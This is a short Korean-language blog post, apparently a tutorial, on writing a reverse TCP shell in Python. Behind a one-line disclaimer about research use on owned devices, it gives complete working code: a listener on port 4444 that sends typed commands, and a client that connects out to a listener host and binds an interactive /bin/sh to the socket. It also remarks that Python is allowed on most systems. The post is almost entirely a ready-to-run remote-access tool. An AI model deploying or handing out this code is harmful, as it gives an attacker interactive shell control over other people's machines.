5.1분 이내에 Python Reverse TCP Shell 작성

Jan 11 2023
R. Eric Kiser 면책 조항: 연구 목적 및 귀하가 소유한 장치에 대한 연결.

R. 에릭 키저

면책 조항: 연구 목적 및 귀하가 소유한 장치에 대한 연결. 어떤 언어로든 역방향 TCP 셸을 작성하려면 서버와 클라이언트라는 두 개의 프로그램이 필요합니다. 장치에서 서버(리스너)를 실행하고 연결하려는 컴퓨터에서 클라이언트를 실행해야 합니다. 파이썬은 종종 대부분의 시스템에서 허용됩니다.

역방향 TCP 셸 서버 예

import socket

HOST = '0.0.0.0'    # Listen on all interfaces
PORT = 4444         # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)         # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
    command = input("$ ")
    if command == "exit":
        break
    conn.send(command.encode())
    data = conn.recv(1024).decode()
    print(data)

conn.close()

역방향 TCP 클라이언트 예

import socket
import subprocess

HOST = '10.0.0.1'  # IP of the listener
PORT = 4444        # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
                     stdin=s.fileno(),
                     stdout=s.fileno(),
                     stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()